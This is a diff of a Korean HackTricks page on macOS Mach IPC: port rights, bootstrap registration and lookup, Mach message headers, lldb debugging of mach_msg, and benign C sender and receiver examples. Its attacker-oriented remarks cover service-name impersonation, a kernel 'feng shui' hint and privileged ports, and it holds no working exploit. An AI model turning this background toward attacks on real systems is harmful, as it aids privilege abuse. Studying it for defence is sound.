* **HackTricks** 및 **HackTricks Cloud** github 저장소로 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## Mach 메시징을 통한 포트
|
||||
## 포트를 통한 Mach 메시징
|
||||
|
||||
### 기본 정보
|
||||
|
||||
Mach는 **작업**을 **리소스 공유의 가장 작은 단위**로 사용하며, 각 작업에는 **여러 스레드**가 포함될 수 있습니다. 이러한 **작업 및 스레드는 1:1로 POSIX 프로세스 및 스레드에 매핑**됩니다.
|
||||
Mach는 **리소스 공유를 위한 가장 작은 단위로 작업**을 사용하며, 각 작업에는 **여러 스레드**가 포함될 수 있습니다. 이러한 **작업과 스레드는 1:1로 POSIX 프로세스와 스레드에 매핑**됩니다.
|
||||
|
||||
작업 간 통신은 Mach Inter-Process Communication (IPC)을 통해 발생하며, **메시지는 포트 간에 전송**되며, 이는 커널에서 관리되는 **메시지 큐**처럼 작동합니다.
|
||||
작업 간 통신은 Mach Inter-Process Communication (IPC)을 통해 이루어지며, 일방향 통신 채널을 활용합니다. **메시지는 포트 간에 전송**되며, 이는 커널에서 관리되는 **메시지 큐처럼 작동**합니다.
|
||||
|
||||
**포트**는 Mach IPC의 **기본** 요소입니다. **메시지를 보내고 받는 데 사용**할 수 있습니다.
|
||||
**포트**는 Mach IPC의 **기본 요소**입니다. 메시지를 **보내고 받는 데 사용**할 수 있습니다.
|
||||
|
||||
각 프로세스에는 **IPC 테이블**이 있으며, 거기에는 **프로세스의 mach 포트**를 찾을 수 있습니다. Mach 포트의 이름은 실제로 숫자(커널 객체에 대한 포인터)입니다.
|
||||
|
||||
프로세스는 또한 **다른 작업에게 일부 권한을 가진 포트 이름을 보낼 수 있으며**, 커널은 이를 다른 작업의 **IPC 테이블에 등록**합니다.
|
||||
프로세스는 또한 다른 작업에게 일부 권한을 가진 포트 이름을 보낼 수 있으며, 커널은 이를 다른 작업의 **IPC 테이블에 등록**합니다.
|
||||
|
||||
### 포트 권한
|
||||
|
||||
작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신에 중요합니다. 가능한 **포트 권한**은 ([여기에서 정의됨](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신에 중요합니다. 가능한 **포트 권한**은 ([여기에서 정의된 내용](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **수신 권한**은 포트로 보낸 메시지를 수신할 수 있게 합니다. Mach 포트는 MPSC (다중 생산자, 단일 소비자) 큐이므로 전체 시스템에서 각 포트에 대해 **하나의 수신 권한만** 있을 수 있습니다 (여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 기술자를 모두 보유할 수 있는 파이프와는 달리).
|
||||
* **수신 권한을 가진 작업**은 메시지를 수신하고 **보내기 권한을 생성**할 수 있으며, 처음에는 **자체 작업만 수신 권한을 가집니다**.
|
||||
* 수신 권한의 소유자가 **죽거나 종료**하면 **보내기 권한이 쓸모 없어집니다(데드 네임).**
|
||||
* **수신 권한**은 포트로 전송된 메시지를 수신할 수 있게 합니다. Mach 포트는 MPSC (다중 생산자, 단일 소비자) 큐이므로 전체 시스템에서 각 포트에 대해 **하나의 수신 권한만** 있을 수 있습니다 (여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 디스크립터를 모두 보유할 수 있는 파이프와는 달리).
|
||||
* **수신 권한을 가진 작업**은 메시지를 수신하고 **보내기 권한을 생성**할 수 있으며, 처음에는 **자체 작업만 수신 권한**을 가지고 있습니다.
|
||||
* 수신 권한의 소유자가 **죽거나 종료**하면 **보내기 권한이 무용지물이 됩니다(데드 네임).**
|
||||
* **보내기 권한**은 포트로 메시지를 보낼 수 있게 합니다.
|
||||
* 보내기 권한은 **복제**될 수 있어서 보내기 권한을 소유한 작업이 권한을 복제하고 **제3의 작업에게 부여**할 수 있습니다.
|
||||
* 보내기 권한은 **복제**될 수 있어서 보내기 권한을 가진 작업이 권한을 복제하고 **제3 작업에게 부여**할 수 있습니다.
|
||||
* **포트 권한**은 Mac 메시지를 통해 **전달**될 수도 있습니다.
|
||||
* **한 번 보내기 권한**은 포트로 한 번의 메시지를 보낼 수 있고 그 후 사라집니다.
|
||||
* 이 권한은 **복제**될 수 없지만 **이동**될 수 있습니다.
|
||||
* **포트 세트 권한**은 단일 포트가 아닌 _포트 세트_를 나타냅니다. 포트 세트에서 메시지를 디큐하는 것은 그 포트가 포함하는 포트 중 하나에서 메시지를 디큐합니다. 포트 세트는 Unix의 `select`/`poll`/`epoll`/`kqueue`와 매우 유사하게 여러 포트에서 동시에 수신할 수 있습니다.
|
||||
* **데드 네임**은 실제 포트 권한이 아니라 단순히 자리 표시자입니다. 포트가 파괴되면 포트에 대한 모든 기존 포트 권한이 데드 네임으로 변합니다.
|
||||
* **데드 네임**은 실제 포트 권한이 아니라 단순히 자리 표시자입니다. 포트가 파괴되면 포트에 대한 모든 기존 포트 권한이 데드 네임으로 변환됩니다.
|
||||
|
||||
**작업은 다른 작업에게 보내기 권한을 전달**하여 메시지를 다시 보낼 수 있습니다. **보내기 권한은 복제**될 수 있어서 작업이 권한을 복제하고 **제3의 작업에게 권한을 부여**할 수 있습니다. 이는 **부트스트랩 서버**라는 중간 프로세스와 결합되어 작업 간 효과적인 통신을 가능케 합니다.
|
||||
**작업은 SEND 권한을 다른 작업에게 전달**하여 메시지를 다시 보낼 수 있습니다. **SEND 권한은 복제**될 수 있어서 작업이 권한을 복제하고 **제3 작업에게 권한을 부여**할 수 있습니다. 이는 **부트스트랩 서버**라는 중간 프로세스와 결합되어 작업 간 효과적인 통신을 가능케 합니다.
|
||||
|
||||
### 파일 포트
|
||||
|
||||
파일 포트는 Mac 포트(맥 포트 권한 사용)에 파일 기술자를 캡슐화할 수 있습니다. 주어진 FD를 사용하여 `fileport_makeport`를 사용하여 `fileport`를 만들고 `fileport_makefd`를 사용하여 fileport에서 FD를 만들 수 있습니다.
|
||||
파일 포트는 Mac 포트(맥 포트 권한 사용)에 파일 디스크립터를 캡슐화할 수 있습니다. 주어진 FD에서 `fileport_makeport`를 사용하여 `fileport`를 만들고, `fileport_makefd`를 사용하여 fileport에서 FD를 만들 수 있습니다.
|
||||
|
||||
### 통신 설정
|
||||
|
||||
이전에 언급했듯이 Mach 메시지를 사용하여 권한을 보낼 수 있지만, 이미 Mach 메시지를 보낼 권한이 없는 경우 **권한을 보낼 수 없습니다**. 그렇다면 첫 번째 통신은 어떻게 설정됩니까?
|
||||
|
||||
이를 위해 **부트스트랩 서버**(mac의 **launchd**)가 관여되며, **누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있으므로**, 다른 프로세스에게 메시지를 보낼 권한을 요청할 수 있습니다:
|
||||
이를 위해 **부트스트랩 서버**(mac의 **launchd**)가 관여됩니다. **모든 사람이 부트스트랩 서버에 SEND 권한을 얻을 수 있기 때문에**, 다른 프로세스에게 메시지를 보낼 권한을 요청할 수 있습니다:
|
||||
|
||||
1. 작업 **A**는 **새 포트**를 생성하여 **그것에 대한 수신 권한**을 얻습니다.
|
||||
2. 수신 권한의 소유자인 작업 **A**는 **포트에 대한 보내기 권한을 생성**합니다.
|
||||
3. 작업 **A**는 **부트스트랩 서버**와 **연결**을 설정하고, 처음에 생성한 포트에 대한 **보내기 권한을 부트스트랩 서버에 보냅니다**.
|
||||
2. 수신 권한을 보유한 작업 **A**는 **포트에 대한 SEND 권한을 생성**합니다.
|
||||
3. 작업 **A**는 **부트스트랩 서버**와 **연결**을 설정하고, 처음에 생성한 포트에 대한 **SEND 권한을 부트스트랩 서버에 보냅니다**.
|
||||
* 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있습니다.
|
||||
4. 작업 A는 부트스트랩 서버에 `bootstrap_register` 메시지를 보내 **주어진 포트를 `com.apple.taska`와 같은 이름과 연결**합니다.
|
||||
5. 작업 **B**는 서비스 이름에 대한 부트스트랩 **룩업을 실행**하기 위해 **부트스트랩 서버**와 상호 작용합니다(`bootstrap_lookup`). 따라서 부트스트랩 서버가 응답하려면 작업 B는 룩업 메시지 내에서 **이전에 생성한 포트에 대한 SEND 권한을 부트스트랩 서버에 보냅니다**. 룩업이 성공하면 부트스트랩 서버는 작업 A로부터 받은 SEND 권한을 **복제**하고 **작업 B에게 전송**합니다.
|
||||
4. 작업 A는 부트스트랩 서버에 `bootstrap_register` 메시지를 보내 **`com.apple.taska`**와 같은 이름으로 주어진 포트를 **연결**합니다.
|
||||
5. 작업 **B**는 서비스 이름에 대한 부트스트랩 **룩업**을 실행하기 위해 **부트스트랩 서버**와 상호 작용합니다(`bootstrap_lookup`). 따라서 부트스트랩 서버가 응답하려면 작업 B는 룩업 메시지 내에서 이전에 생성한 **포트에 대한 SEND 권한을 부트스트랩 서버에 보냅니다**. 룩업이 성공하면 부트스트랩 서버는 작업 A로부터 받은 SEND 권한을 **복제**하고 **작업 B에게 전송**합니다.
|
||||
* 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있습니다.
|
||||
6. 이 SEND 권한으로 **작업 B**는 **작업 A에게 메시지를 보낼 수** 있습니다.
|
||||
7. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신** 권한과 **보내기** 권한이 있는 새 포트를 생성하고 **보내기 권한을 작업 A에게 제공**하여 작업 B에게 메시지를 보낼 수 있게 합니다.
|
||||
7. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신** 권한과 **SEND** 권한이 있는 새 포트를 생성하고 **SEND 권한을 작업 A에게 제공**하여 작업 B에게 메시지를 보낼 수 있게 합니다(양방향 통신).
|
||||
|
||||
부트스트랩 서버는 작업이 주장한 서비스 이름을 인증할 수 없습니다. 이는 **작업**이 잠재적으로 **시스템 작업을 가장할 수 있음**을 의미합니다. 즉, 권한 서비스 이름을 가장하고 모든 요청을 승인할 수 있습니다.
|
||||
부트스트랩 서버는 작업이 주장하는 서비스 이름을 인증할 수 없습니다. 이는 **작업**이 잠재적으로 **시스템 작업을 가장할 수 있음**을 의미합니다. 예를 들어 권한 서비스 이름을 가장하여 모든 요청을 승인할 수 있습니다.
|
||||
|
||||
그런 다음, Apple은 **시스템 제공 서비스의 이름**을 안전한 구성 파일에 저장합니다. 이 파일은 SIP로 보호된 디렉토리인 `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`에 있습니다. 각 서비스 이름 옆에는 **관련된 이진 파일도 저장**됩니다. 부트스트랩 서버는 이러한 서비스 이름 각각에 대한 **수신 권한을 생성하고 보유**합니다.
|
||||
그런 다음, Apple은 시스템 제공 서비스의 **이름을 안전한 구성 파일**에 저장합니다. 이 파일은 **SIP로 보호된** 디렉토리인 `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`에 있습니다. 각 서비스 이름 옆에는 **관련된 이진 파일도 저장**됩니다. 부트스트랩 서버는 이러한 서비스 이름마다 **수신 권한을 생성**하고 보유합니다.
|
||||
|
||||
이러한 사전 정의된 서비스의 경우 **룩업 프로세스가 약간 다릅니다**. 서비스 이름을 찾을 때, launchd는 작업이 실행 중인지 확인하고 실행 중이 아니면 **시작**합니다.
|
||||
이러한 사전 정의된 서비스에 대해서는 **룩업 프로세스가 약간 다릅니다**. 서비스 이름이 조회될 때, launchd는 서비스를 동적으로 시작합니다. 새로운 워크플로우는 다음과 같습니다:
|
||||
|
||||
* 작업 **B**는 서비스 이름에 대한 부트스트랩 **룩업**을 시작합니다.
|
||||
* **launchd**는 작업이 실행 중인지 확인하고 실행 중이 아니면 **시작**합니다.
|
||||
* 작업 **A**(서비스)는 **부트스트랩 체크인**(`bootstrap_check_in()`)을 수행합니다. 여기서 **부트스트랩** 서버는 SEND 권한을 생성하고 보유하며, **수신 권한을 작업 A에게 전달**합니다.
|
||||
* launchd는 **SEND 권한을 복제하고 작업 B에게 전송**합니다.
|
||||
* 작업 **B**는 **수신** 권한과 **SEND** 권한이 있는 새 포트를 생성하고 **SEND 권한을 작업 A**(svc)에게 제공하여 작업 B에게 메시지를 보낼 수 있게 합니다(양방향 통신).
|
||||
|
||||
그러나 이 프로세스는 사전 정의된 시스템 작업에만 적용됩니다. 비시스템 작업은 여전히 처음에 설명한 대로 작동하며, 가장할 수 있는 가능성이 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
따라서 launchd가 절대로 충돌해서는 안 되며, 그렇게 되면 전체 시스템이 충돌합니다.
|
||||
따라서 launchd가 결코 충돌해서는 안 되며, 그렇지 않으면 전체 시스템이 충돌할 수 있습니다.
|
||||
{% endhint %}
|
||||
### Mach 메시지
|
||||
|
||||
[더 많은 정보는 여기에서 찾을 수 있습니다](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` 함수는 본질적으로 시스템 호출로, Mach 메시지를 보내고 받을 때 사용됩니다. 이 함수는 보내려는 메시지를 초기 인수로 필요로 합니다. 이 메시지는 반드시 `mach_msg_header_t` 구조체로 시작해야 합니다. 그 뒤에 실제 메시지 내용이 이어집니다. 이 구조체는 다음과 같이 정의됩니다:
|
||||
`mach_msg` 함수는 기본적으로 시스템 호출로, Mach 메시지를 보내고 받을 때 사용됩니다. 이 함수는 보내려는 메시지를 초기 인수로 필요로 합니다. 이 메시지는 반드시 `mach_msg_header_t` 구조체로 시작해야 합니다. 그 뒤에 실제 메시지 내용이 이어집니다. 이 구조체는 다음과 같이 정의됩니다:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
|
@ -91,15 +97,15 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
프로세스가 _**수신 권한**_을 보유하면 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로 **보내는 쪽(sender)**은 _**송신 권한**_ 또는 _**일회용 송신 권한**_을 부여받습니다. 일회용 송신 권한은 한 번의 메시지를 보낸 후에 무효화됩니다.
|
||||
프로세스가 _**수신 권한**_을 보유하면 Mach 포트에서 메시지를 수신할 수 있습니다. 반면에 **보내는 쪽**은 _**보내기**_ 또는 _**한 번 보내기 권한**_을 부여받습니다. 한 번 보내기 권한은 한 번의 메시지를 보낸 후에는 무효화됩니다.
|
||||
|
||||
초기 필드 **`msgh_bits`**는 비트맵입니다:
|
||||
|
||||
* 첫 번째 비트(가장 중요함)는 메시지가 복잡함을 나타내는 데 사용됩니다(자세한 내용은 아래 참조)
|
||||
* 3번째와 4번째는 커널에서 사용됩니다
|
||||
* 두 번째 바이트의 **가장 낮은 5비트**는 **바우처(voucher)**에 사용될 수 있습니다: 키/값 조합을 보내는 또 다른 유형의 포트입니다.
|
||||
* 세 번째 바이트의 **가장 낮은 5비트**는 **로컬 포트**에 사용될 수 있습니다.
|
||||
* 네 번째 바이트의 **가장 낮은 5비트**는 **원격 포트**에 사용될 수 있습니다.
|
||||
* 3번째와 4번째 비트는 커널에서 사용됩니다
|
||||
* 2번 바이트의 **가장 낮은 5비트**는 **바우처**(key/value 조합을 보내는 또 다른 유형의 포트)에 사용할 수 있습니다.
|
||||
* 3번 바이트의 **가장 낮은 5비트**는 **로컬 포트**에 사용할 수 있습니다.
|
||||
* 4번 바이트의 **가장 낮은 5비트**는 **원격 포트**에 사용할 수 있습니다.
|
||||
|
||||
바우처, 로컬 및 원격 포트에 지정할 수 있는 유형은 다음과 같습니다([**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) 참조):
|
||||
```c
|
||||
|
@ -114,12 +120,12 @@ mach_msg_id_t msgh_id;
|
|||
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
|
||||
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
|
||||
```
|
||||
예를 들어, `MACH_MSG_TYPE_MAKE_SEND_ONCE`는 이 포트를 위해 파생 및 전송되어야 하는 **한 번만 보내기** **권한**을 나타내는 데 사용될 수 있습니다. 또한 수신자가 응답을 보낼 수 없도록 하려면 `MACH_PORT_NULL`을 지정할 수 있습니다.
|
||||
예를 들어, `MACH_MSG_TYPE_MAKE_SEND_ONCE`는 이 포트를 위해 파생 및 전송되어야 하는 **한 번만 보내기 권한**을 나타내는 데 사용될 수 있습니다. 또한 수신자가 응답을 보낼 수 없도록 하려면 `MACH_PORT_NULL`을 지정할 수 있습니다.
|
||||
|
||||
쉬운 **양방향 통신**을 위해 프로세스는 메시지의 **수신자**가 이 메시지에 대한 응답을 보낼 수 있는 **_응답 포트_**(**`msgh_local_port`**)를 mach **메시지 헤더**에 지정할 수 있습니다.
|
||||
쉬운 **양방향 통신**을 달성하기 위해 프로세스는 **mach 메시지 헤더**에서 _응답 포트_ (**`msgh_local_port`**)라고 불리는 mach 포트를 지정할 수 있습니다. 메시지의 수신자는 이 메시지에 대한 응답을 보낼 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
이러한 종류의 양방향 통신은 XPC 메시지에서 사용되며 응답을 기대하는 메시지(`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`)에 사용됩니다. 그러나 일반적으로 양방향 통신을 생성하려면 이전에 설명한 대로 **일반적으로 다른 포트가 생성**됩니다.
|
||||
이러한 종류의 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용되며 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`), **일반적으로 서로 다른 포트가 생성**되어 양방향 통신을 생성하는 방법에 대해 이전에 설명한 대로 사용됩니다.
|
||||
{% endhint %}
|
||||
|
||||
메시지 헤더의 다른 필드는 다음과 같습니다:
|
||||
|
@ -130,18 +136,18 @@ mach_msg_id_t msgh_id;
|
|||
- `msgh_id`: 수신자가 해석하는 이 메시지의 ID.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**mach 메시지는 `mach 포트`를 통해 전송**되며, 이는 mach 커널에 내장된 **단일 수신자**, **다중 송신자** 통신 채널입니다. **여러 프로세스**가 mach 포트로 **메시지를 보낼** 수 있지만 언제든지 **단일 프로세스만** 읽을 수 있습니다.
|
||||
**mach 메시지는 `mach 포트`를 통해 전송**되며, 이는 mach 커널에 내장된 **단일 수신자**, **다중 송신자** 통신 채널입니다. **여러 프로세스**가 mach 포트로 **메시지를 보낼** 수 있지만 언제든지 **단일 프로세스만 읽을** 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
그런 다음 메시지는 **`mach_msg_header_t`** 헤더, **바디** 및 **트레일러**(있는 경우)로 구성되며 응답 권한을 부여할 수 있습니다. 이러한 경우에는 커널이 메시지를 한 작업에서 다른 작업으로 전달하기만 하면 됩니다.
|
||||
그런 다음 메시지는 **`mach_msg_header_t`** 헤더로 구성되며 **본문**과 **트레일러** (있는 경우)가 이어집니다. 이 메시지에 대한 응답 권한을 부여할 수 있습니다. 이러한 경우, 커널은 메시지를 한 작업에서 다른 작업으로 전달하기만 하면 됩니다.
|
||||
|
||||
**트레일러**는 **커널에 의해 메시지에 추가된 정보**로 (사용자가 설정할 수 없음) 메시지 수신 시 `MACH_RCV_TRAILER_<trailer_opt>` 플래그로 요청할 수 있으며 요청할 수 있는 다양한 정보가 있습니다.
|
||||
**트레일러**는 **커널에 의해 메시지에 추가된 정보**로 (사용자가 설정할 수 없음) 메시지 수신 시 `MACH_RCV_TRAILER_<trailer_opt>` 플래그로 요청할 수 있습니다 (요청할 수 있는 다양한 정보가 있음).
|
||||
|
||||
#### 복잡한 메시지
|
||||
|
||||
그러나 커널이 수신자에게 이러한 객체를 전송해야 하는 추가 포트 권한이나 메모리 공유와 같은 더 **복잡한** 메시지도 있습니다. 이러한 경우에는 헤더 `msgh_bits`의 가장 상위 비트가 설정됩니다.
|
||||
그러나 커널이 수신자에게 이러한 객체를 전송해야 하는 추가 포트 권한이나 메모리 공유와 같은 **더 복잡한** 메시지도 있습니다. 이러한 경우 헤더 `msgh_bits`의 가장 상위 비트가 설정됩니다.
|
||||
|
||||
전달할 수 있는 가능한 디스크립터는 [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)에서 정의됩니다.
|
||||
전달할 수 있는 가능한 기술자는 [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)에서 정의됩니다.
|
||||
```c
|
||||
#define MACH_MSG_PORT_DESCRIPTOR 0
|
||||
#define MACH_MSG_OOL_DESCRIPTOR 1
|
||||
|
@ -158,34 +164,26 @@ unsigned int pad3 : 24;
|
|||
mach_msg_descriptor_type_t type : 8;
|
||||
} mach_msg_type_descriptor_t;
|
||||
```
|
||||
### 32비트에서는 모든 디스크립터가 12B이며 디스크립터 유형은 11번째에 있습니다. 64비트에서는 크기가 다양합니다.
|
||||
### Mac Ports APIs
|
||||
|
||||
{% hint style="danger" %}
|
||||
커널은 다른 작업으로 디스크립터를 복사하지만 먼저 **커널 메모리에 복사본을 생성**합니다. 이 "펑 수이" 기술은 여러 악용으로 알려져 있으며 **커널이 데이터를 메모리에 복사**하여 프로세스가 자신에게 디스크립터를 보낼 수 있게 합니다. 그런 다음 프로세스는 메시지를 수신할 수 있습니다 (커널이 이를 해제합니다).
|
||||
포트는 작업 네임스페이스에 연결되어 있으므로 포트를 생성하거나 검색하려면 작업 네임스페이스도 쿼리됩니다 (`mach/mach_port.h`에서 자세히 설명):
|
||||
|
||||
취약한 프로세스로 **포트 권한을 보낼 수도** 있으며 포트 권한은 프로세스에 나타날 것입니다 (그가 처리하지 않더라도).
|
||||
{% endhint %}
|
||||
- **`mach_port_allocate` | `mach_port_construct`**: 포트를 **생성**합니다.
|
||||
- `mach_port_allocate`는 **포트 세트**를 생성할 수도 있습니다: 포트 그룹에 대한 수신 권한. 메시지를 수신할 때 어디서 메시지가 왔는지 표시됩니다.
|
||||
- `mach_port_allocate_name`: 포트의 이름을 변경합니다 (기본적으로 32비트 정수).
|
||||
- `mach_port_names`: 대상에서 포트 이름 가져오기
|
||||
- `mach_port_type`: 이름에 대한 작업의 권한 가져오기
|
||||
- `mach_port_rename`: 포트의 이름 바꾸기 (FD의 dup2와 유사)
|
||||
- `mach_port_allocate`: 새로운 RECEIVE, PORT\_SET 또는 DEAD\_NAME 할당
|
||||
- `mach_port_insert_right`: 수신할 수 있는 포트에 새로운 권한 생성
|
||||
- `mach_port_...`
|
||||
- **`mach_msg`** | **`mach_msg_overwrite`**: **mach 메시지를 보내고 받는 데 사용되는 함수**입니다. 덮어쓰기 버전은 메시지 수신을 위한 다른 버퍼를 지정할 수 있습니다 (다른 버전은 그냥 재사용합니다).
|
||||
|
||||
### Mac Ports API
|
||||
|
||||
포트는 작업 네임스페이스에 연결되므로 포트를 생성하거나 검색하려면 작업 네임스페이스도 쿼리됩니다 (`mach/mach_port.h`에서 자세히 설명):
|
||||
|
||||
* **`mach_port_allocate` | `mach_port_construct`**: 포트를 **생성**합니다.
|
||||
* `mach_port_allocate`는 **포트 세트**를 생성할 수도 있습니다: 포트 그룹에 대한 수신 권한. 메시지를 수신할 때 어디서 메시지가 왔는지 표시됩니다.
|
||||
* `mach_port_allocate_name`: 포트의 이름을 변경합니다 (기본적으로 32비트 정수)
|
||||
* `mach_port_names`: 대상에서 포트 이름 가져오기
|
||||
* `mach_port_type`: 이름에 대한 작업의 권한 가져오기
|
||||
* `mach_port_rename`: 포트의 이름 바꾸기 (FD의 dup2와 유사)
|
||||
* `mach_port_allocate`: 새로운 RECEIVE, PORT\_SET 또는 DEAD\_NAME 할당
|
||||
* `mach_port_insert_right`: 수신할 수 있는 포트에 새 권한 생성
|
||||
* `mach_port_...`
|
||||
* **`mach_msg`** | **`mach_msg_overwrite`**: **mach 메시지를 보내고 받는** 데 사용되는 함수입니다. 덮어쓰기 버전은 메시지 수신을 위한 다른 버퍼를 지정할 수 있게 합니다 (다른 버전은 그냥 재사용합니다).
|
||||
|
||||
### 디버그 mach\_msg
|
||||
### Debug mach\_msg
|
||||
|
||||
함수 **`mach_msg`**와 **`mach_msg_overwrite`**는 메시지를 보내고 받는 데 사용되는 함수이므로 이러한 함수에 중단점을 설정하면 보낸 메시지와 받은 메시지를 검사할 수 있습니다.
|
||||
|
||||
예를 들어 디버깅할 수 있는 모든 응용 프로그램을 시작하면 **`libSystem.B`를 로드**할 것이므로 이 함수를 사용할 것입니다.
|
||||
예를 들어 디버깅할 수 있는 모든 응용 프로그램을 시작하면 **`libSystem.B`를 로드하고 이 함수를 사용할 것**입니다.
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
|
||||
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
|
||||
|
@ -214,7 +212,7 @@ frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
|
|||
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
|
||||
</code></pre>
|
||||
|
||||
**`mach_msg`**의 인수를 얻으려면 레지스터를 확인하십시오. 이것이 인수들입니다 ([mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) 참조):
|
||||
**`mach_msg`**의 인수를 얻으려면 레지스터를 확인하십시오. 이러한 것들이 인수입니다 ([mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) 참조):
|
||||
```c
|
||||
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
|
||||
extern mach_msg_return_t mach_msg(
|
||||
|
@ -237,7 +235,7 @@ x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
|
|||
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
|
||||
x6 = 0x0000000000000000 ;mach_port_name_t (notify)
|
||||
```
|
||||
첫 번째 인수를 확인하여 메시지 헤더를 검사하십시오.
|
||||
메시지 헤더를 검사하여 첫 번째 인수를 확인하십시오:
|
||||
```armasm
|
||||
(lldb) x/6w $x0
|
||||
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
|
||||
|
@ -250,11 +248,11 @@ x6 = 0x0000000000000000 ;mach_port_name_t (notify)
|
|||
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
|
||||
; 0x40000322 -> mach_msg_id_t (msgh_id)
|
||||
```
|
||||
그 유형의 `mach_msg_bits_t`는 응답을 허용하기 위해 매우 일반적입니다.
|
||||
그 유형의 `mach_msg_bits_t`는 응답을 허용하는 데 매우 일반적입니다.
|
||||
|
||||
|
||||
|
||||
### 포트 열거하기
|
||||
### 포트 나열
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
|
||||
|
@ -278,9 +276,9 @@ name ipc-object rights flags boost reqs recv send sonce oref q
|
|||
+ send -------- --- 1 <- 0x00002603 (74295) passd
|
||||
[...]
|
||||
```
|
||||
**이름**은 포트에 기본적으로 지정된 이름입니다 (첫 3바이트에서 **증가**하는 방법을 확인하십시오). **`ipc-object`**는 포트의 **가려진** 고유 **식별자**입니다.\
|
||||
또한 **`send`** 권한만 있는 포트는 해당 포트의 소유자를 **식별**하는 데 사용됩니다 (포트 이름 + pid).\
|
||||
또한 **`+`**를 사용하여 **동일한 포트에 연결된 다른 작업**을 나타낼 수 있습니다.
|
||||
**이름**은 포트에 지정된 기본 이름입니다 (첫 3바이트에서 **증가**하는 방법을 확인하십시오). **`ipc-object`**는 포트의 **가려진** 고유 **식별자**입니다.\
|
||||
또한 **`send`** 권한만 있는 포트는 해당 소유자를 **식별**하는 데 사용됨을 주목하십시오 (포트 이름 + pid).\
|
||||
또한 **`+`**를 사용하여 **동일한 포트에 연결된 다른 작업**을 나타내는 방법에 주목하십시오.
|
||||
|
||||
또한 [**procesxp**](https://www.newosxbook.com/tools/procexp.html)를 사용하여 **등록된 서비스 이름**도 볼 수 있습니다 (SIP가 비활성화되어 있어 `com.apple.system-task-port`가 필요한 경우):
|
||||
```
|
||||
|
@ -288,7 +286,7 @@ procesp 1 ports
|
|||
```
|
||||
### 코드 예시
|
||||
|
||||
**sender**가 포트를 할당하고 `org.darlinghq.example`라는 이름에 대한 **send right**를 생성하여 이를 **부트스트랩 서버**에 보내는 방법을 주목하십시오. 수신자는 해당 이름에 대한 **send right**를 요청하고 이를 사용하여 **메시지를 보내는** 방법을 사용했습니다.
|
||||
**sender**가 포트를 할당하고 `org.darlinghq.example`라는 이름에 대한 **send right**를 생성하여 이를 **부트스트랩 서버**에 보내는 방법을 주목하십시오. 이 과정에서 **sender**는 해당 이름에 대한 **send right**를 요청하고 이를 사용하여 **메시지를 보내는** 방법을 사용했습니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="receiver.c" %}
|
||||
|
@ -359,7 +357,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}번역된 텍스트가 없습니다. {% endtab %}
|
||||
{% 탭 제목="sender.c" %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -416,13 +414,13 @@ printf("Sent a message\n");
|
|||
|
||||
## 특권 포트
|
||||
|
||||
일부 특별한 포트는 작업이 해당 포트에 대한 **SEND** 권한을 갖고 있는 경우 **특정 민감한 작업을 수행하거나 특정 민감한 데이터에 액세스**할 수 있도록 합니다. 이는 공격자의 관점에서 이러한 포트가 매우 흥미로울 뿐만 아니라 **작업 간에 SEND 권한을 공유**할 수 있기 때문에 흥미롭습니다.
|
||||
